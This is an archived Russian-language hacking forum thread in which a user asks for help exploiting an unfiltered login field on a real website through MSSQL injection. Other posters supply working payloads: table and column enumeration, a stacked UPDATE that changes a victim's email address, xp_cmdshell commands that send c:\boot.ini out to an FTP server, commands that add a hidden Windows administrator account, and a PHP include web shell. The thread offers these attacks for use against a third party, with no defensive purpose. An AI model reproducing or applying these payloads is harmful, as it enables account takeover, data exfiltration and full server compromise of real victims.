PDA

Просмотр полной версии : mssql-injection - need help...


aka PSIH
15.03.2007, 14:12
Есть сайт, на нем поле UserName не фильтруется...
запросом
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--
узнаю имена таблиц
1' or 1=(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')--
так калонки

как мне выполнить запрос:
UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'

Spyder
15.03.2007, 14:17
1 or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')
скорее всего у тебя просто прав не хватит

aka PSIH
15.03.2007, 14:31
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--

Incorrect syntax near the keyword 'UPDATE'.
Incorrect syntax near ')'.

vmn
15.03.2007, 14:45
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--

Обычно делают так:
1';UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

Апдейт в подзапросах использовать нельзя.

aka PSIH
15.03.2007, 14:50
спасибо, я сам не допер...

>Апдейт в подзапросах использовать нельзя.
буду знать...

guest3297
15.03.2007, 15:12
;UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--

aka PSIH
15.03.2007, 15:19
еще вапрос, при запросе
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25')--

через секунд 15-20 выдает:
Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.

можно как-нить обойти?

vmn
15.03.2007, 16:18
нету значит таблиц таких.
А вообще советую вместо or использовать and.

aka PSIH
15.03.2007, 16:27
А вообще советую вместо or использовать and
в чем разница?

как можно через mssql-injection залить файл на сервер с удаленного сайта?

Spyder
15.03.2007, 16:41
в чем разница?
а в английском языке какая разница между Or и And? такая же и тут

vmn
15.03.2007, 16:47
Да можно с помощью xp_cmdshell + ftp.

Вообще если 3389 открыт то народ обычно админа делает себе и заходит через remote desctop.

Как файлы заливать:
exec master.dbo.xp_cmdshell 'echo open ftp.server.net > c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo put c:\boot.ini >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo bye >> c:\ftp.ini'

exec master.dbo.xp_cmdshell ' ftp -i -s:c:\ftp.ini'

Админа создавать:
exec master.dbo.xp_cmdshell 'net user test test12345 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

Если путь к сайту знаешь то через echo можешь создать файлик типа <?php include($_GET['i']); ?>

Вообщем способов много.